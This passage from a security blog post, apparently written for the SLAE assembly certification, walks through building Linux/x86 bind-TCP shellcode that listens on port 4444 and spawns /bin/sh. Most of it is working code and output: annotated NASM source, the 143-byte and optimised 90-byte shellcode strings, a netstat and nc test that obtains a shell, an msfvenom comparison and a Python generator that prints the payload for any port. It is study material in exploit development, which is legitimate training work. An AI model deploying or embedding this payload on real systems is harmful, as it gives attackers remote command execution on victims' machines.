	; Move 0 (argv) into ECX
	xor ecx, ecx

	; Move 0 (envp) into EDX
	xor edx, edx

        ; Execute the execve() call
        int 0x80

Successful Execution

With a successful strace, it was time to test my application as actual shellcode.

First, I grabbed the shellcode string from my binary.

doyler@slae:~/slae/_exam/shell_bind_tcp$ objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xf6\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x31\xf6\x56\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xf6\x56\x31\xf6\x56\x57\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x3f\x31\xc9\x89\xfb\xcd\x80\x31\xc0\xb0\x3f\x31\xc9\xb1\x01\x89\xfb\xcd\x80\x31\xc0\xb0\x3f\x31\xc9\xb1\x02\x89\xfb\xcd\x80\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

Next, I ran the compiled shellcode application.

doyler@slae:~/slae/_exam/shell_bind_tcp$ ./shellcode 
Shellcode Length:  143
doyler@slae:~/slae/_exam/shell_bind_tcp$ 

While that was running, I checked my machine to verify that the port was open and listening.

doyler@slae:~/slae/_exam/shell_bind_tcp$ sudo netstat -anp | grep 4444
doyler@slae:~/slae/_exam/shell_bind_tcp$ sudo netstat -anp | grep 4444
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      1014/shellcode  
doyler@slae:~/slae/_exam/shell_bind_tcp$ 

Finally, i connected to the port, and got execution over the shell!

doyler@slae:~/slae/_exam/shell_bind_tcp$ nc localhost 4444
id
uid=1000(doyler) gid=1000(doyler) groups=1000(doyler),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
exit
doyler@slae:~/slae/_exam/shell_bind_tcp$ 

Shellcode Optimization

While my shellcode was now working at this point, 143 bytes was a bit long for me to stomach.

Most of my optimizations came from unnecessary instructions. For example: zeroing out a register that was already zero, or loading a value into a register that already existed in a different register.

Any time I reference the number of bytes saved, I probably used this disassembler to save time in comparing operations.

The biggest optimization can from my original implementation of the dup() calls. As expected, it is possible to loop through these one by one instead of making each individual call.

First, I attempted to use the 'loop' instruction. This isn't an inclusive loop, so I was unable to call dup for STDIN (0) initially.

; Load 0x2 into ECX as a loop counter, this will be used to loop through STDERR(2), STDOUT(1), and STDIN(0)
xor ecx, ecx
mov cl, 0x2

dup_loop:
    mov al, 0x3f
    int 0x80
loop dup_loop

Additionally, it seems that this call was inefficient and basically deprecated.

You can find the final, shortened version of my application below. I kept the original instructions in comments where possible, so that you can compare the two.

; Filename: shell_bind_tcp.nasm
; Author: Ray Doyle
; Website: https://www.doyler.net

global _start			

section .text
_start:
	; http://man7.org/linux/man-pages/man2/socket.2.html

	; Move 102 (sys_socketcall) into EAX
	;xor eax, eax
	;mov al, 0x66
	; Push/Pop saves 1 byte
	push 0x66
	pop eax

	; Move 1 (SYS_SOCKET) into EBX
	;xor ebx, ebx
	;mov bl, 0x1
	; Push/Pop saves 1 byte
	push 0x1
	pop ebx

        ; int sock = socket(AF_INET, SOCK_STREAM, 0);

	; Push the variables for the socket() call onto the stack in reverse order
	; Push 0 onto the stack (IP - 3rd argument)
	xor esi, esi
	push esi

	; Push 1 onto the stack (SOCK_STREAM - 2nd argument)
	;push 0x1
	; EBX already contains 0x1, saving 1 byte
	push ebx

	; Push 2 onto the stack (AF_INET - 1st argument)
	push 0x2

	; Move the stack pointer into ECX, to point to the arguments for socket()
	mov ecx, esp

	; Execute the socket() call
	int 0x80

	; Move the returned file descriptor from EAX to EDI for later usage
	;mov edi, eax
	; Pop/Xchg moves EAX into EDI as well as popping the 2 (former AF_INET) into EAX for the SYS_BIND argument (same number of bytes)
	pop edi
	xchg eax, edi

bind:
	; http://man7.org/linux/man-pages/man2/bind.2.html

        ; Move 102 (sys_socketcall) into EAX
	;xor eax, eax
	; EAX was cleared by the previous xchg, saving 2 bytes
        ;mov al, 0x66
	; Moving this into bl, to swap with EAX
	mov bl, 0x66

        ; Move 2 (SYS_BIND) into EBX
	;xor ebx, ebx
        ;mov bl, 0x2
	; EAX already contains 0x2 and EBX contains 0x66, the xchg puts them in the correct register (saving 3 bytes)
	xchg eax, ebx

	; struct sockaddr_in address;
    	; address.sin_family = AF_INET;
	; address.sin_addr.s_addr = INADDR_ANY;
    	; address.sin_port = htons(PORT);

	; Creating the sockaddr_in structure
	; Push 0 (INADDR_ANY) onto the stack
	;xor esi, esi
	; ESI is already 0, saving 2 bytes
	push esi

	; Push 4444 (PORT) onto the stack
	push word 0x5c11  ; Port number in network byte (big endian) order = 4444

	; Push 2 (AF_INET) onto the stack
	;push word 0x2
	; EBX already contains 0x2, saving 1 byte
	push word bx

	; Move the stack pointer into ECX, to point to the sockaddr_in struct
	mov ecx, esp

    	; bind(sock, (struct sockaddr *)&address, sizeof(address));
	
	; Push 16 (the length of the address struct) onto the stack - 3rd argument
	push 0x10

	; Push ECX (the pointer to the address structure) onto the stack - 2nd argument
	push ecx

	; Push EDI (the saved file descriptor for the socket) onto the stack - 1st argument
	push edi

        ; Move the stack pointer into ECX, to point to the arguments for bind()
        mov ecx, esp

	; Execute the bind() call
	int 0x80
	
listen:
	; http://man7.org/linux/man-pages/man2/listen.2.html

        ; Move 102 (sys_socketcall) into EAX
	;xor eax, eax
	; EAX is already empty except for the lowest register, saving 2 bytes
        mov al, 0x66

        ; Move 4 (SYS_LISTEN) into EBX
	;xor ebx, ebx
	; EBX is already empty except for the lowest register, saving 2 bytes
        mov bl, 0x4

    	; listen(sock, 0);

	; Push 0 (backlog) onto the stack - 2nd argument
	;xor esi, esi
	; ESI is still empty, saving 2 bytes
	push esi

	; Push EDI (sockfd) onto the stack - 1st argument
	push edi

        ; Move the stack pointer into ECX, to point to the arguments for listen()
        mov ecx, esp
	
	; Execute the listen() call
	int 0x80

accept:
	; http://man7.org/linux/man-pages/man2/accept.2.html

        ; Move 102 (sys_socketcall) into EAX
	;xor eax, eax
	; EAX is already empty except for the lowest register, saving 2 bytes
        mov al, 0x66

        ; Move 5 (SYS_ACCEPT) into EBX
	;xor ebx, ebx
	; EBX is already empty except for the lowest register, saving 2 bytes
        ;mov bl, 0x5
	; EBX already contains 0x4, increment saves 1 byte
	inc ebx

    	; int new_sock = accept(sock, NULL, NULL);

	; Push 0 (addrlen) onto the stack - 3rd argument
	;xor esi, esi
        ; ESI is still empty, saving 2 bytes
	push esi

	; Push 0 (addr) onto the stack - 2nd argument
	;xor esi, esi
        ; ESI is still empty, saving 2 bytes
        push esi

	; Push EDI (sockfd) onto the stack - 1st argument
	push edi

        ; Move the stack pointer into ECX, to point to the arguments for accept()
        mov ecx, esp

        ; Execute the accept() call
        int 0x80

        ; Move the returned file descriptor from EAX to EDI for later usaged
        ;mov edi, eax
	; Instead of saving the fd in EDI, put it directly in EBX (argument for sys_dup2), saves 1 byte now even
	xchg eax, ebx

dup:
	; http://man7.org/linux/man-pages/man2/dup2.2.html
	
	; Move 63 (sys_dup2) into EAX
	;xor eax, eax
	; EAX is already empty except for the lowest register, saving 2 bytes
	;mov al, 0x3f
	; This will be covered by the new loop below
	; Original dup code = 40 bytes (including xor eax, eax and mov al, 0x3f)
	; New dup loop = 11 bytes (SAVING 29 BYTES TOTAL!)

	
	;
	;
	;
	;
        ; dup2(new_sock, 0);
	;
	; Move 0 (STDIN) into ECX - 2nd argument
	;xor ecx, ecx
	;
	; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument
	;mov ebx, edi
	;
	; Execute the dup2() call
	;int 0x80
	;
        ; Move 63 (sys_dup2) into EAX
	;xor eax, eax
        ;mov al, 0x3f
	;
        ; dup2(new_sock, 1);
        ;
        ; Move 1 (STDOUT) into ECX - 2nd argument
        ;xor ecx, ecx
	;mov cl, 0x1
	;
        ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument
        ;mov ebx, edi
	;
        ; Execute the dup2() call
        ;int 0x80
	;
        ; Move 63 (sys_dup2) into EAX
	;xor eax, eax
        ;mov al, 0x3f
	;
        ; dup2(new_sock, 2);
        ;
        ; Move 2 (STDERR) into ECX - 2nd argument
        ;xor ecx, ecx
	;mov cl, 0x2
	;
        ; Move EDI (the saved file descriptor for the socket) into EBX - 1st argument
        ;mov ebx, edi
	;
        ; Execute the dup2() call
        ;int 0x80
	;
	;
	;
	;

	; Load 0x2 into ECX as a loop counter, this will be used to loop through STDERR(2), STDOUT(1), and STDIN(0)
	xor ecx, ecx
	mov cl, 0x2

dup_loop:
	mov al, 0x3f
	int 0x80
	dec ecx
	jns dup_loop

execve:
	; http://man7.org/linux/man-pages/man2/execve.2.html

	; Push the first null dword (terminate the filename) 
	;xor eax, eax
	;push eax
	; ESI is already empty, push it onto the stack as the null terminator
	push esi

        ; Move 11 (sys_execve) into EAX
        mov al, 0xb

        ; execve("/bin/sh", NULL, NULL);

	; Push //bin/sh (8 bytes) onto the stack
	push 0x68732f2f
	push 0x6e69622f

	; Move the stack pointer into EBX, to point to the filename
	mov ebx, esp

	; Move 0 (argv) into ECX
	;xor ecx, ecx
	; ECX contains 0xffffffff after the dup loop, so increment saves 1 byte
	inc ecx

	; Move 0 (envp) into EDX
	xor edx, edx

        ; Execute the execve() call
        int 0x80

Shell Bind TCP Shellcode - Final Execution

With my application sufficiently shortened, I grabbed the final version of my shellcode using objdump.

doyler@slae:~/slae/_exam/shell_bind_tcp$ objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\xb3\x66\x93\x56\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x56\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x31\xd2\xcd\x80"

When it was all said and done, I had a working shell bind TCP shellcode of length 90! This was a much nicer number than my original 143 bytes, and I was quite proud.

doyler@slae:~/slae/_exam/shell_bind_tcp$ ./shellcode 
Shellcode Length:  90
^C

Shell Bind TCP Shellcode - Final Execution

Metasploit Comparison

For one last exercise, I wanted to compare my hand-written shellcode to the msfvenom generated version.

As you can see, my shellcode is only 12 bytes longer, which isn't so bad.

doyler@slae:~/slae/_exam/shell_bind_tcp$ msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 78 bytes

00000000  31DB              xor ebx,ebx
00000002  F7E3              mul ebx
00000004  53                push ebx
00000005  43                inc ebx
00000006  53                push ebx
00000007  6A02              push byte +0x2
00000009  89E1              mov ecx,esp
0000000B  B066              mov al,0x66
0000000D  CD80              int 0x80
0000000F  5B                pop ebx
00000010  5E                pop esi
00000011  52                push edx
00000012  680200115C        push dword 0x5c110002
00000017  6A10              push byte +0x10
00000019  51                push ecx
0000001A  50                push eax
0000001B  89E1              mov ecx,esp
0000001D  6A66              push byte +0x66
0000001F  58                pop eax
00000020  CD80              int 0x80
00000022  894104            mov [ecx+0x4],eax
00000025  B304              mov bl,0x4
00000027  B066              mov al,0x66
00000029  CD80              int 0x80
0000002B  43                inc ebx
0000002C  B066              mov al,0x66
0000002E  CD80              int 0x80
00000030  93                xchg eax,ebx
00000031  59                pop ecx
00000032  6A3F              push byte +0x3f
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  49                dec ecx
00000038  79F8              jns 0x32
0000003A  682F2F7368        push dword 0x68732f2f
0000003F  682F62696E        push dword 0x6e69622f
00000044  89E3              mov ebx,esp
00000046  50                push eax
00000047  53                push ebx
00000048  89E1              mov ecx,esp
0000004A  B00B              mov al,0xb
0000004C  CD80              int 0x80

There are a few tricks that I cannot quite copy if I want to easily modify the the port number ('push dword 0x5c110002').

That said, I'm hoping that I can copy one or two ideas to shorten my next shellcode!

Shell Bind TCP Shellcode - Port Configuration

Though it has been a long journey, there is still one more requirement for the assignment:

  • Port number should be easily configurable

In this case, I decided to write a Python wrapper program instead of utilizing JMP-CALL-POP. I don't want people to have to convert a standard port into big-endian.

This Python script will do some checks on the port number and null bytes. If all the checks pass, then the configured shellcode is output.

#!/usr/bin/python

# SLAE Exam Assignment #1: Shell Bind TCP Shellcode (Linux/x86) Generator
# Author: Ray Doyle (@doylersec)
# Website: https://www.doyler.net

import struct

port = 4444

if port > 65535:
    print "\nPort is greater than 65535.\n"
    exit()
elif port < 1024:
    print "\nPort is smaller than 1024. Note that root is required for this.\n"
    exit()

print "\nOriginal port: " + str(port)
print "Converted to hexidecimal: " + hex(port)[2:]

# https://stackoverflow.com/questions/13261109/python-string-of-binary-escape-sequences-as-literal
encodedPort = ''.join(map(lambda c:'\\x%02x'%c, map(ord, struct.pack('!H', port))))

if '\\x00' in encodedPort:
    print "Port contains null bytes, please modify!"
    exit()

shellcode = ("\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31\\xf6\\x56\\x53\\x6a" + 
    "\\x02\\x89\\xe1\\xcd\\x80\\x5f\\x97\\xb3\\x66\\x93\\x56\\x66\\x68" + 
    encodedPort + "\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\xcd" + 
    "\\x80\\xb0\\x66\\xb3\\x04\\x56\\x57\\x89\\xe1\\xcd\\x80\\xb0\\x66" +
    "\\x43\\x56\\x56\\x57\\x89\\xe1\\xcd\\x80\\x93\\x31\\xc9\\xb1\\x02" + 
    "\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x56\\xb0\\x0b\\x68\\x2f\\x2f" + 
    "\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x41\\x31\\xd2\\xcd\\x80")

print "\nFinal shellcode"
print "--------------------"
print "\"" + shellcode + "\""
doyler@slae:~/slae/_exam/shell_bind_tcp$ python generate_bind_shellcode.py

Original port: 4444
Converted to hexidecimal: 115c

Final shellcode
--------------------
"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\xb3\x66\x93\x56\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x56\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x31\xd2\xcd\x80"

Shell Bind TCP Shellcode - Conclusion

This was an awesome assignment, though it was a surprising amount of work.

The next few posts will be shorter, but I will be skipping the middle debugging steps.

Please let me know if you have any suggestions for these posts, or my specific answer!

Finally, you can find the code and updates in my GitHub repository.

SLAE Exam Requirement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1212

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (currently GXPN) or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.